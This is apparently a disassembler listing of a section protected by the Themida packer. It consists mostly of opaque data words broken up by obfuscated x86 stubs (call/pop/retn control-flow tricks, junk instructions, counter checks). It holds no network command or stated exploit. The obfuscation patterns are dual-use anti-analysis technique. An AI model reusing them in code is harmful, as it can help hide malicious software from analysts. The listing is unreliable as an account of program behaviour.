50006A00h, 3E8h, 0C3582000h dd 24448958h, 24448104h, 1B04h, 0C3504000h, 722CE70Bh dd 4FAD12EAh, 23499D8Dh, 6A0612h, 3E855h, 5D200000h, 6C895DC3h dd 44810424h, 1C0424h, 55450000h, 0B9188CC3h, 23CCE8B9h dd 23812823h, 0FFFFFEFFh, 1B69BD0Bh, 8B660612h, 0DB8C66F9h dd 8531FE8Bh, 6120ECDh, 0F04C3F6h, 0B484h, 56006A00h, 3E8h dd 0C35E2000h, 2474895Eh, 24448104h, 1C04h, 0C3564600h dd 9B184E9Ch, 35D87E9Eh, 0B1B58B7Eh, 0FF061220h, 120CA995h dd 55006A06h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1704h dd 0C3554500h, 9BDDEB3h, 11E850F8h, 80000000h, 1732B8A1h dd 0E4914A1Dh, 2DA9DA9Dh, 75278022h, 90E542BEh, 4895E70h dd 55006A24h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1804h dd 0C3554500h, 3DB40CEEh, 12E845h, 0E8B20000h, 0A939AB7Fh dd 3CF73102h, 0EF1687B8h, 47C55B7Ch, 22EDB589h, 8B5E0612h dd 1229A9B5h, 422E906h, 6A0000h, 3E851h, 59200000h, 4C8959C3h dd 44810424h, 140424h, 51410000h, 0BF0F91C3h, 0BE9FAh dd 0D5EC0000h, 811F61F8h, 8FEA4169h, 0E800B027h, 0Fh, 0B474BD6Bh dd 0E9C8E845h, 188692A4h, 0E9256463h, 5, 0BD2DB2D0h, 70E65E16h dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 16h, 0B1C35545h dd 13E87192h, 7000000h, 84BBB29Eh, 0A7B44E40h, 73D957A6h dd 0D90D2B9h, 0B50BFE17h, 6121F75h, 0DC9DBE5Fh, 71E4793Ah dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 1Ah, 10C35646h dd 8DA20BA4h, 0B60F1CD2h, 55006AD8h, 3E8h, 0C35D2000h dd 246C895Dh, 24448104h, 1804h, 0C3554500h, 633E7308h dd 298D89F2h, 0BA061221h, 6, 0E853006Ah, 3, 5BC35B20h dd 4245C89h, 4244481h, 17h, 90C35343h, 8B514672h, 51006AC3h dd 3E8h, 0C3592000h, 244C8959h, 24448104h, 1A04h, 0C3514100h dd 10B9956h, 0C19C1293h, 97BF04E8h, 667CF57Fh, 0BD8BE2F7h dd 612088Dh, 0B58BD82Bh, 6122E81h, 0F525093h, 0CE931h dd 0E48B0000h, 3B5A04FFh, 6ADA047Fh, 585AF77Bh, 5E850h dd 6BCE0000h, 8B83E911h, 6A935FF7h, 3E85000h, 20000000h dd 8958C358h, 81042444h, 19042444h, 40000000h, 0A178C350h dd 0F38D1D00h, 0B26ABF66h, 7E5B5FFh, 6A0612h, 3E856h, 5E200000h dd 74895EC3h, 44810424h, 1A0424h, 56460000h, 13D7F2C3h dd 5A92105Ah, 6810Fh, 0EE810000h, 56BD3ADEh, 29D195FFh dd 0B0F90612h, 99950100h, 0E6061210h, 57006A70h, 3E8h dd 0C35F2000h, 247C895Fh, 24448104h, 1A04h, 0C3574700h dd 4EAAB7AEh, 6602DEFEh, 9197EE81h, 0E4FABF0Fh, 95895371h dd 61232B9h, 0F613C5Eh, 21383h, 56006A00h dd 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1504h, 0C3564600h dd 8D0182E2h, 6122711h, 0C31B58Bh, 0B60F0612h, 57006AD8h dd 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1D04h, 0C3574700h dd 0E148C963h, 3AC915D9h, 0E6819F3Bh, 736CDFEDh, 0E8AD2CBEh dd 6BA11h, 6A0000h, 3E851h, 59200000h, 4C8959C3h, 44810424h dd 140424h, 51410000h, 8B66BDC3h, 49B58BF2h, 8B06121Ah dd 50006AC3h, 3E8h, 0C3582000h, 24448958h, 24448104h, 1804h dd 0C3504000h, 9FE15668h, 25E6815Eh, 0C1082D68h, 0BD8B04E8h dd 61210BDh, 6AE2F766h, 3E85000h, 20000000h, 8958C358h dd 81042444h, 19042444h, 40000000h, 0DC41C350h, 0DDDD3640h dd 0EE9h, 6A149900h, 44D9C15h, 543A6830h, 8B4A5E54h, 121809B5h dd 8BD82B06h, 2BF558F1h, 11880FD8h, 0B9000001h, 7, 0F00C183h dd 68Dh, 0E58D3100h, 3B06122Eh, 0F5860FD9h, 6A000000h dd 3E85300h, 20000000h, 895BC35Bh, 8104245Ch, 1A042444h dd 43000000h, 54ABC353h, 2BB12FE7h, 0D98C6655h, 11EDB533h dd 95890612h, 6121505h, 0F04C1F6h, 0B384h, 55006A00h, 3E8h dd 0C35D2000h, 246C895Dh, 24448104h, 1804h, 0C3554500h dd 6B0EE677h, 0A99D89D1h, 0FF061215h, 120CA995h, 53006A06h dd 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1A04h, 0C3534300h dd 0D0E24F8Eh, 66BA5EC4h, 665BF28Bh, 2B0A1FBEh, 53006AC3h dd 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1A04h, 0C3534300h dd 0DC6A45CEh, 0E9C0B323h, 13h, 77920742h, 0D852DF16h dd 74119C59h, 0DE5775C8h, 3D01A639h, 834h, 16860Fh, 0B58B0000h dd 61229E9h, 0FBE78166h, 0EE95Fh, 8D890000h, 6121471h dd 0B589C08Bh, 6120069h, 0D88BC38Bh, 0E853006Ah, 3, 5BC35B20h dd 4245C89h, 4244481h, 16h, 0FCC35343h, 85C7455Bh, 61230DDh dd 1C17D1FBh, 8BF7BF0Fh, 51006AC0h, 3E8h, 0C3592000h, 244C8959h dd 24448104h, 1B04h, 0C3514100h, 2F4FF1B0h, 0FCA19CC9h dd 167DBD8Bh, 0BD810612h, 61207E5h, 7D0h, 40850Fh, 0B70F0000h dd 0E585FFF7h, 6A061207h, 3E85000h, 20000000h, 8958C358h dd 81042444h, 1B042444h, 40000000h, 3B96C350h, 1B90704Bh dd 8C0F15A0h, 0Eh, 0FD8D8960h, 89061222h, 1215C59Dh, 0B5FF6106h dd 61207E5h, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h dd 19h, 1DC35343h, 3DC193FEh, 8D8D8930h, 0FF061210h, 1229D195h dd 57006A06h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1B04h dd 0C3574700h, 55D29C04h, 18A68EBDh, 0B589F890h, 612270Dh dd 15758D89h, 0BD890612h, 6121F81h, 6AF88Bh, 3E850h, 58200000h dd 448958C3h, 44810424h, 1A0424h, 50400000h, 401566C3h dd 0A5E6ECE9h, 13D19589h, 7E90612h, 0A0000000h, 0E4A0C4A2h dd 6AD9B2h, 3E850h, 58200000h, 448958C3h, 44810424h, 1A0424h dd 50400000h, 90161C3h, 5075C324h, 6AF2B70Fh, 3E85000h dd 20000000h, 8958C358h, 81042444h, 18042444h, 40000000h dd 4421C350h, 89BFE5AFh, 122FF5B5h, 15B58B06h, 8B06121Bh dd 121E8DB5h, 50006A06h, 3E8h, 0C3582000h, 24448958h, 24448104h dd 1404h, 0C3504000h, 0CE84Bh, 49620000h, 0B6B60AB8h, 0D8200ACAh dd 840F24B7h, 6, 8D0Fh, 6A5F0000h, 3E85000h, 20000000h dd 8958C358h, 81042444h, 16042444h, 40000000h, 2864C350h dd 83BF6607h, 2870FA5h, 8B000000h, 6830FFAh, 0F000000h dd 8Eh, 31B58B00h, 0E906122Dh, 0FFFFF7B0h, 93E78166h, 6AC18B10h dd 3E85000h, 20000000h, 8958C358h, 81042444h, 16042444h dd 40000000h, 0B751C350h, 467DBEF7h, 4EB1DB7h, 0 dd 0B280EF81h, 5E87759h, 0F9000000h, 0ABF7369Ah, 5FFE8B66h dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 18h, 0FC35545h dd 16695CC2h, 17698D29h, 8DF90612h, 12006585h, 0DB52306h dd 90061215h, 0EC95BE57h, 505F4A58h, 61C68A60h, 66E9BE90h dd 6A191Bh, 0DE8h, 0C003E700h, 1421A6D9h, 0E04731F2h, 69BE9A29h dd 5F235FC4h, 0F88B6660h, 0CA12F281h, 6A61368Eh, 56006A00h dd 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1D04h, 0C3564600h dd 296676D3h, 0B944CB10h, 8A0FF0CDh, 6, 13619D89h, 858D0612h dd 615F6FDh, 6A05C083h, 3E85100h, 20000000h, 8959C359h dd 8104244Ch, 18042444h, 41000000h, 8AE4C351h, 89AB1049h dd 12217195h, 85953106h, 50061226h, 489F38Bh, 0E6816624h dd 6A87B8h, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h dd 15h, 0D7C35343h, 0D99D3106h, 6A061213h, 0F18B6600h dd 0B5595FFh, 6A0612h, 3E850h, 58200000h, 448958C3h, 44810424h dd 160424h, 50400000h, 0BCA268C3h, 1F05B501h, 8B660612h dd 0CA9D8DFEh, 8906159Bh, 121CC1BDh, 3D3FF06h, 120395B5h dd 3585FF06h, 66061212h, 0E9AF93BFh, 8F1h, 0E8h, 0ED815D00h dd 615F707h, 0EE9h, 0EB270600h, 73E2FEEh, 84BBB29Eh, 81B44E40h dd 1207E5BDh, 7D006h, 1C860F00h, 0E8000001h, 14h, 529DACC7h dd 0BAD1411Eh, 0C62632A1h, 0AB1533FCh, 0FDA791DFh, 61EF06BEh dd 9D8B5E5Eh, 6122ED9h, 39ABE66h, 100E381h, 6A0000h, 3E857h dd 5F200000h, 7C895FC3h, 44810424h, 1C0424h, 57470000h dd 43AFB2C3h, 0FB1B59A1h, 60515C14h, 31DD9D89h, 81660612h dd 61F9F4DEh, 0FDB0B5Fh, 8785h, 0F38B6600h, 0F592BD83h dd 0F000615h, 3284h, 57006A00h, 3E8h, 0C35F2000h, 247C895Fh dd 24448104h, 1C04h, 0C3574700h, 4A6E2A64h, 5DCBC704h dd 62E9CFh, 8D0F0000h, 3, 0C7FFBF0Fh, 15F59285h, 106h dd 0EE800h, 0ED0A0000h, 4CDE608Fh, 2809FDAFh, 5CC5CE72h dd 16E5B58Bh, 0E95E0612h, 30h, 0E857006Ah, 3, 5FC35F20h dd 4247C89h, 4244481h, 14h, 0DC35747h, 0F59285C7h, 615h dd 60600000h, 0B519589h, 61610612h, 2ED99D8Dh, 0B5310612h dd 6122785h, 0FEFF2381h, 3ABFFFFFh, 66392B8Ch, 6ADB8Ch dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 190424h, 51410000h dd 9EF037C3h, 66C1D0A5h, 0C0FAF781h, 0F04C3F6h, 9584h dd 56006A00h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1604h dd 0C3564600h, 1B34B6Ch, 1221AD8Dh, 0A995FF06h, 6006120Ch dd 5870Fh, 33BB0000h, 6644DA0Bh, 0AD84F281h, 0E8609061h dd 0Bh, 8E99B38Ah, 0E7900C0Ah, 0FB6F7DBh, 85h, 50525A00h dd 5A310F52h, 50615958h, 7E9h, 0C35C7C00h, 8322AEEDh, 50006A90h dd 3E8h, 0C3582000h, 24448958h, 24448104h, 1B04h, 0C3504000h dd 39C401A2h, 5B83F19Ch, 23F5B509h, 9EE90612h, 6A000004h dd 3E85500h, 20000000h, 895DC35Dh, 8104246Ch, 1D042444h dd 45000000h, 1702C355h, 0D3AA5AEDh, 4454AA65h, 0B0F7B70Fh dd 148E0F00h, 0F000000h, 0E87h, 9E900h, 41760000h, 54A8B9F9h dd 0E6AD5542h, 51006A70h, 3E8h, 0C3592000h, 244C8959h dd 24448104h, 1504h, 0C3514100h, 8E9E00Eh, 0B5000000h dd 0B8125759h, 0E42C608Dh, 5BE6671h, 6495BE4Ah, 0B60F2641h dd 50006AD8h, 3E8h, 0C3582000h, 24448958h, 24448104h, 1504h dd 0C3504000h, 0BE9D17Eh, 7D000000h, 9DE8A018h, 88298EF6h dd 6BA62F9h, 6A000000h, 3E85700h, 20000000h, 895FC35Fh dd 8104247Ch, 1B042444h, 47000000h, 0F237C357h, 317A2EA2h dd 8166495Fh, 8B1138F6h, 1231E9B5h, 6AC38B06h, 3E85000h dd 20000000h, 8958C358h, 81042444h, 18042444h, 40000000h dd 8BE7C350h, 8BB28754h, 120831B5h, 4E8C106h, 0E857006Ah dd 3, 5FC35F20h, 4247C89h, 4244481h, 16h, 0D0C35747h, 0B58B5FECh dd 6121EE5h, 6AE2F766h, 3E85700h, 20000000h, 895FC35Fh dd 8104247Ch, 16042444h, 47000000h, 0F6DFC357h, 0A9BD8958h dd 2B061225h, 55006AD8h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h dd 1504h, 0C3554500h, 0FE9AF88h, 1F000000h, 921951E0h dd 0D90E8429h, 5685C3F4h, 0BF5014C4h, 3DC5424Eh, 0F241C89h dd 0B5FFFEB7h, 61207E5h, 0E855006Ah, 3, 5DC35D20h, 4246C89h dd 4244481h, 1Bh, 0F9C35545h, 43360E4Bh, 0FF20169Eh, 1229D195h dd 0FE806h, 73EB0000h, 9B9510B3h, 3ACD0BA5h, 0D9AC2347h dd 0EE81666Ah, 0B05E2CA3h, 53006A00h, 3E8h, 0C35B2000h dd 245C895Bh, 24448104h, 1704h, 0C3534300h, 84C3E5CBh dd 0E4F570E6h, 613CF971h, 293830Fh, 0BD8B0000h, 6121CF9h dd 89D8B60Fh, 12302585h, 6BA06h, 6A0000h, 3E855h, 5D200000h dd 6C895DC3h, 44810424h, 150424h, 55450000h, 81B419C3h dd 8134BEC6h, 5DB58B15h, 8B061226h, 57006AC3h, 3E8h, 0C35F2000h dd 247C895Fh, 24448104h, 1C04h, 0C3574700h, 7AF51282h dd 180226B6h, 3D85295Fh, 0E9061222h, 13h, 8ACBAEF4h, 2820BA96h dd 0CDA45253h, 0E88DB0ADh, 0C157C240h, 0EE904E8h, 61000000h dd 0DFA8BACEh, 8C1DB9F4h, 7D76C8DFh, 0E2F76638h, 0E857006Ah dd 3, 5FC35F20h, 4247C89h, 4244481h, 17h, 1FC35747h, 0F27028Fh dd 58Dh, 0F6816600h, 0D82BDE6Dh, 0E855006Ah, 3, 5DC35D20h dd 4246C89h, 4244481h, 1Ah, 22C35545h, 18C1F4A7h, 8509CCD4h dd 612258Dh, 799D8958h, 2B06120Ch, 96880FD8h, 6A000001h dd 3E85300h, 20000000h, 895BC35Bh, 8104245Ch, 15042444h dd 43000000h, 928AC353h, 0DC1DBE66h, 7B9h, 0C18300h, 0E855006Ah dd 3, 5DC35D20h, 4246C89h, 4244481h, 1Dh, 0A3C35545h, 0DD92A510h dd 0A3311641h, 0FA8B6624h, 860FD93Bh, 13Dh, 0E857006Ah dd 3, 5FC35F20h, 4247C89h, 4244481h, 1Ah, 16C35747h, 0DA7CE054h dd 9D8947F2h, 61214D5h, 8BD98C66h, 120C31BDh, 4C1F606h dd 0FB840Fh, 6A0000h, 3E853h, 5B200000h, 5C895BC3h, 44810424h dd 1C0424h, 53430000h, 864A00C3h, 0AAE69B80h, 95FF3BD7h dd 6120CA9h, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h dd 1Dh, 89C35343h, 2D6B5A14h, 3FF77A1Ch, 6830FCBh, 0B000000h dd 122021BDh, 0F98BF506h, 57006A5Bh, 3E8h, 0C35F2000h dd 247C895Fh, 24448104h, 1404h, 0C3574700h, 8DB52B02h dd 66061200h, 5E7AE781h, 343DC32Bh, 0F000008h, 6886h, 52006A00h dd 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1504h, 0C3524200h dd 14E8D7E4h, 35000000h, 778B887Bh, 0A4B60819h, 0B43C1361h dd 7C8A89EDh, 0F819424h, 28Ah, 5FF88B00h, 2CE9h, 56006A00h dd 3E8h, 0C35E2000h dd 2474895Eh, 24448104h, 1C04h, 0C3564600h, 0E2279755h dd 0FDD3E278h, 29C08BC5h, 12202185h, 8BC38B06h, 850F56D8h dd 0 ; --------------------------------------------------------------------------- pop edi mov dword ptr [ebp+6122349h], 3F9F959Fh sub edi, [ebp+6122A8Dh] mov eax, eax push 0 push edi call sub_5BB8BA and [edi-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5BB8BA proc near ; CODE XREF: Themida_:005BB8B2p arg_4 = dword ptr 8 pop edi mov [esp-4+arg_4], edi add [esp-4+arg_4], 14h inc edi push edi retn sub_5BB8BA endp ; --------------------------------------------------------------------------- aas mov di, 3A76h cmp dword ptr [ebp+61207E5h], 7D0h jnz loc_5BB90E mov esi, [ebp+6120051h] inc dword ptr [ebp+61207E5h] push 0 push esi call sub_5BB8F6 and [esi-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5BB8F6 proc near ; CODE XREF: Themida_:005BB8EEp arg_4 = dword ptr 8 pop esi mov [esp-4+arg_4], esi add [esp-4+arg_4], 15h inc esi push esi retn sub_5BB8F6 endp ; --------------------------------------------------------------------------- db 3Eh dec dword ptr [ebx+121A8DB5h] push es loc_5BB90E: ; CODE XREF: Themida_:005BB8D9j push dword ptr [ebp+61207E5h] jmp loc_5BB929 ; --------------------------------------------------------------------------- db 7Fh, 4, 0DAh dd 0D6F77B6Ah, 14ACF015h, 0C21AF25Fh db 39h ; --------------------------------------------------------------------------- loc_5BB929: ; CODE XREF: Themida_:005BB914j mov [ebp+6121E01h], eax call dword ptr [ebp+61229D1h] push 0 push ebp call sub_5BB940 and [ebp-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5BB940 proc near ; CODE XREF: Themida_:005BB938p arg_4 = dword ptr 8 pop ebp mov [esp-4+arg_4], ebp add [esp-4+arg_4], 1Ch inc ebp push ebp retn sub_5BB940 endp ; --------------------------------------------------------------------------- dd 117C2D4Bh, 0C7E00554h, 6A9097h, 3E855h, 5D200000h, 6C895DC3h dd 44810424h, 1B0424h, 55450000h, 0E575A6C3h, 6A1F64CDh dd 56006A0Eh, 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1804h dd 0C3564600h, 0D739E128h, 0B58B5380h, 61214DDh, 219501h dd 2B5F0612h, 122015BDh, 57006A06h, 3E8h, 0C35F2000h, 247C895Fh dd 24448104h, 1804h, 0C3574700h, 0B20E8F5Bh, 0ED9D894Bh dd 60061222h, 238DBD31h, 858B0612h, 6120395h, 52006A61h dd 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1C04h, 0C3524200h dd 0FEB9C752h, 0F847F917h, 57006A43h, 3E8h, 0C35F2000h dd 247C895Fh, 24448104h, 1804h, 0C3574700h, 6F832585h dd 58B0F92h, 0BE000000h, 8474AEDh, 1E99B509h, 5E80612h dd 4E000000h, 0AF7FCCC4h, 0BE665FF5h, 95016EA7h, 61213E1h dd 6AF28B66h, 3E85500h, 20000000h, 895DC35Dh, 8104246Ch dd 17042444h, 45000000h, 2CC8C355h, 8960F8FDh, 121671BDh dd 0FD8D8B06h, 0E8061219h, 10h, 6FCEFC93h, 2B6ECD77h, 105DF2C8h dd 0D7F0661Fh, 0F2C18166h, 0F615AF6h, 889h, 0B58B5100h dd 6121459h, 0F72EE95Eh, 6AFFFFh, 3E853h, 5B200000h, 5C895BC3h dd 44810424h, 170424h, 53430000h, 6D7BF8C3h, 89C18B45h dd 121AC5BDh, 0E9BD8B06h, 0EB061229h, 4, 50006A00h, 3E8h dd 0C3582000h, 24448958h, 24448104h, 1704h, 0C3504000h dd 0EBCC906Bh, 0F3B70F57h, 50006A5Eh, 3E8h, 0C3582000h dd 24448958h, 24448104h, 1C04h, 0C3504000h, 0B01B8006h dd 7B15836Bh, 0E59529A8h, 8D06121Ah, 12006585h, 57006A06h dd 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1904h, 0C3574700h dd 78596C3Ch, 6E99DA3h, 27000000h, 28CA9C5Ch, 820F563Dh dd 6, 8459D89h, 905F0612h, 6E8h, 6F2DE400h, 5FEF3C1Ch dd 905E5150h, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h dd 1Bh, 8CC35646h, 44966C43h, 8BBD939Ah, 1216D9BDh, 6AF806h dd 5E9h, 12F4A200h, 6660F9C7h, 66597BBAh, 617062BAh, 0F781006Ah dd 2FDEF6A7h, 24C858Dh, 0B58B0616h, 61203B1h, 6A05C083h dd 3E85600h, 20000000h, 895EC35Eh, 81042474h, 1A042444h dd 46000000h, 4179C356h, 0AA622E9Ah, 12E9CBh, 56030000h dd 0CFD3B4DAh, 8794328Fh, 931FA372h, 3588B510h, 0F78B6650h dd 81240489h, 350F8C6h, 6A006A16h, 3E85600h, 20000000h dd 895EC35Eh, 81042474h, 19042444h, 46000000h, 0D899C356h dd 0D9E24EC6h, 6A006Ah, 3E851h, 59200000h, 4C8959C3h, 44810424h dd 1B0424h, 51410000h, 80ACFCC3h, 0DDF4A341h, 5595FF03h dd 6A06120Bh, 3E85200h, 20000000h, 895AC35Ah, 81042454h dd 1B042444h, 42000000h, 33FAC352h, 0E2ACF63Bh, 0BE661ABFh dd 9D8DE7EAh, 6159BCAh, 0E857006Ah, 3, 5FC35F20h, 4247C89h dd 4244481h, 1Ah, 5EC35747h, 6FBA1F74h, 8E0F1423h, 12h dd 0DE9h, 7A57F100h, 27E02590h, 38E79715h, 0D3FF3156h dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 16h, 0FCC35343h dd 1507C8Dh, 122A6985h, 85FF5F06h, 6121235h, 0E853006Ah dd 3, 5BC35B20h, 4245C89h, 4244481h, 1Ah, 1DC35343h, 653A7B4Fh dd 0BE66E66Bh, 0CEE94ABBh, 0E8000007h, 0 ; --------------------------------------------------------------------------- pop ebp sub ebp, 6160256h mov esi, 2F4AA649h cmp dword ptr [ebp+61207E5h], 7D0h jbe loc_5BBE79 push 0 push edi call sub_5BBD57 and [edi-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5BBD57 proc near ; CODE XREF: Themida_:005BBD4Fp arg_4 = dword ptr 8 pop edi mov [esp-4+arg_4], edi add [esp-4+arg_4], 1Dh inc edi push edi retn sub_5BBD57 endp ; --------------------------------------------------------------------------- xor eax, 625C6D1h jnp short loc_5BBDD1 pop ecx test [ecx+edi*8], eax mov ebx, [ebp+6122D69h] push 0 push ebp call sub_5BBD83 and [ebp-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5BBD83 proc near ; CODE XREF: Themida_:005BBD7Bp arg_4 = dword ptr 8 pop ebp mov [esp-4+arg_4], ebp add [esp-4+arg_4], 18h inc ebp push ebp retn sub_5BBD83 endp ; --------------------------------------------------------------------------- mov eax, 5D6EC7F1h and ebx, 100h jmp loc_5BBDB5 ; --------------------------------------------------------------------------- db 1Dh dd 8DCD04C8h, 0F57B20A3h, 9DFABD69h, 0C1470880h db 0E9h ; --------------------------------------------------------------------------- loc_5BBDB5: ; CODE XREF: Themida_:005BBD9Ej or ebx, ebx jnz loc_5BBE17 push 0 push edx call loc_5BBDC8 and [edx-3Dh], bl loc_5BBDC8: ; CODE XREF: Themida_:005BBDC0p pop edx mov [esp+4], edx ; --------------------------------------------------------------------------- db 81h, 44h, 24h db 4 ; --------------------------------------------------------------------------- loc_5BBDD1: ; CODE XREF: Themida_:005BBD6Cj sbb eax, 42000000h push edx retn ; --------------------------------------------------------------------------- dd 0A13BD485h, 0CF98F0E1h, 8B66D87Ah, 3BD83F8h, 61600h dd 0C840Fh, 0BF660000h, 46E9815Bh, 0F000000h, 85C7FABFh dd 6160003h, 1, 2363BF66h, 30E9h, 45BD2B00h ; --------------------------------------------------------------------------- push ss adc al, [esi] loc_5BBE17: ; CODE XREF: Themida_:005BBDB7j mov dword ptr [ebp+6160003h], 0 push 0 push ebp call sub_5BBE2C and [ebp-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5BBE2C proc near ; CODE XREF: Themida_:005BBE24p arg_4 = dword ptr 8 pop ebp mov [esp-4+arg_4], ebp add [esp-4+arg_4], 18h inc ebp push ebp retn sub_5BBE2C endp ; --------------------------------------------------------------------------- clc sub al, 8Dh lodsb and ecx, [ebp+122D699Dh] push es mov [ebp+61220C1h], edx and dword ptr [ebx], 0FFFFFEFFh push 0 push ebp call sub_5BBE5E and [ebp-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5BBE5E proc near ; CODE XREF: Themida_:005BBE56p arg_4 = dword ptr 8 pop ebp mov [esp-4+arg_4], ebp add [esp-4+arg_4], 1Ch inc ebp push ebp retn sub_5BBE5E endp ; --------------------------------------------------------------------------- dw 8FA4h ; --------------------------------------------------------------------------- mov cl, 0Bh pop ecx pop ebp lds ebp, [ecx] cmc mov esi, edx loc_5BBE79: ; CODE XREF: Themida_:005BBD46j mov bx, ds push 0 push edi call sub_5BBE87 and [edi-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5BBE87 proc near ; CODE XREF: Themida_:005BBE7Fp arg_4 = dword ptr 8 pop edi mov [esp-4+arg_4], edi add [esp-4+arg_4], 15h inc edi push edi retn sub_5BBE87 endp ; --------------------------------------------------------------------------- db 51h dd 28E0F72h, 50000000h, 4C3F65Eh, 60840Fh, 6A0000h, 3E856h dd 5E200000h, 74895EC3h, 44810424h, 1C0424h, 56460000h dd 49BD9EC3h, 0DB5BCA41h, 95FFEA5Bh, 6120CA9h, 0E853006Ah dd 3, 5BC35B20h, 4245C89h, 4244481h, 17h, 2FC35343h, 908D3907h dd 0B8666060h, 44BA25F4h, 61233D84h, 61CA8B66h, 0F88B6650h dd 0D9E9F990h, 6A000003h, 3E85700h, 20000000h, 895FC35Fh dd 8104247Ch, 1D042444h, 47000000h, 2CEBC357h, 64CA30B6h dd 84627862h, 950100B0h, 6121AD9h, 6A70E6h, 3E856h, 5E200000h dd 74895EC3h, 44810424h, 160424h, 56460000h, 8D1635C3h dd 1E1DB523h, 2B520612h, 1215FDBDh, 71E45F06h, 0D8B60FF8h dd 10E9h, 2479F500h, 5E7B73B3h, 0D8A1A0A7h, 7161527Eh dd 6BAFCh, 6A0000h, 3E852h, 5A200000h, 54895AC3h, 44810424h dd 150424h, 52420000h, 8B14C7C3h, 50006AC3h, 3E8h, 0C3582000h dd 24448958h, 24448104h, 1D04h, 0C3504000h, 2811C860h dd 26DF8A2Ah, 8950D029h, 1233F1BDh, 0E8C15E06h, 75953104h dd 66061226h, 6AE2F7h, 3E855h, 5D200000h, 6C895DC3h, 44810424h dd 1C0424h, 55450000h, 5A3BD7C3h, 106B7FA8h, 8D899D1Dh dd 6122F15h, 6AD82Bh, 3E857h, 5F200000h, 7C895FC3h, 44810424h dd 1B0424h, 57470000h, 3C4143C3h, 0BEF7BC2h, 5676BF0Fh dd 6693676Fh, 6050FB8Bh, 50CE8B66h, 0FDE8B52h, 5AF78B31h dd 0E9936158h, 0Fh, 2DD7BCE3h, 0C3FD99D0h, 16A20ADCh, 0FF27551Ch dd 1207E5B5h, 51006A06h, 3E8h, 0C3592000h, 244C8959h, 24448104h dd 1604h, 0C3514100h, 8B36965Eh, 121F65BDh, 0D195FF06h dd 0F061229h, 380h, 0F2B70F00h, 2325B58Bh, 0B00612h, 0E857006Ah dd 3, 5FC35F20h, 4247C89h, 4244481h, 1Bh, 7DC35747h, 48124783h dd 8BC2FA00h, 1228F5B5h, 9952906h, 0E606122Bh, 55006A70h dd 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1A04h, 0C3554500h dd 8BA73FC3h, 8BF67E94h, 0FE9F7h, 12430000h, 8A1DD76Ch dd 0BC3A0088h, 8BF5CDDCh, 6A71E4C2h, 3E85700h, 20000000h dd 895FC35Fh, 8104247Ch, 1B042444h, 47000000h, 0F1A6C357h dd 0CF781E5h, 613C256Fh, 1B2830Fh, 0B60F0000h, 0AE8D8h dd 0E63C0000h, 1BF32575h, 4B2013E5h, 11959589h, 0BA5E0612h dd 6, 2D7DB589h, 0C38B0612h, 0E8C15F57h, 0CE904h, 79100000h dd 0E0D2A969h, 383034CAh, 8E93A69h, 0A7000000h, 77E5B71Fh dd 66EB2943h, 0BF66E2F7h, 0D82BFCF4h, 1409BD89h, 6A580612h dd 3E85000h, 20000000h, 8958C358h, 81042444h, 1B042444h dd 40000000h, 2C8EC350h, 4061F34Bh, 0D82BDEC5h, 12E880Fh dd 8D0F0000h, 2, 7B9F98Bh, 6A000000h, 3E85300h, 20000000h dd 895BC35Bh, 8104245Ch, 1B042444h, 43000000h, 4ED7C353h dd 0C4242C21h, 860F4B32h, 0Ch, 68A0Fh, 8A0F0000h, 0 ; --------------------------------------------------------------------------- mov esi, [ebp+61214F9h] add ecx, 0 add di, 46CEh cmp ebx, ecx jbe loc_5BC2E8 jg loc_5BC21E sub [ebp+61220C1h], edi loc_5BC21E: ; CODE XREF: Themida_:005BC212j and edi, [ebp+6120B7Dh] mov cx, ds or [ebp+61224D5h], ecx test cl, 4 jz loc_5BC2E6 mov di, 69EBh call dword ptr [ebp+6120CA9h] push 0 push ebx call sub_5BC24B and [ebx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5BC24B proc near ; CODE XREF: Themida_:005BC243p arg_4 = dword ptr 8 pop ebx mov [esp-4+arg_4], ebx add [esp-4+arg_4], 19h inc ebx push ebx retn sub_5BC24B endp ; --------------------------------------------------------------------------- db 0C1h dd 94BC32E7h, 69952939h, 5B06122Eh, 0CE8h, 16564700h, 0FFBCCBA8h dd 777A9CECh, 0C32B5FEEh, 0E855006Ah, 3, 5DC35D20h, 4246C89h dd 4244481h, 1Ch, 0DFC35545h, 49CABF92h, 0EFADB250h, 8FDB58Bh dd 343D0612h, 0F000008h, 3586h, 55006A00h, 3E8h, 0C35D2000h dd 246C895Dh, 24448104h, 1C04h, 0C3554500h, 0A7A45CCFh dd 1DA05D6h, 0CCC681CCh, 0E97EE0C4h, 8, 2CC5B58Bh ; --------------------------------------------------------------------------- adc al, [esi] loc_5BC2E6: ; CODE XREF: Themida_:005BC230j mov eax, eax loc_5BC2E8: ; CODE XREF: Themida_:005BC20Cj mov eax, ebx mov ebx, eax mov 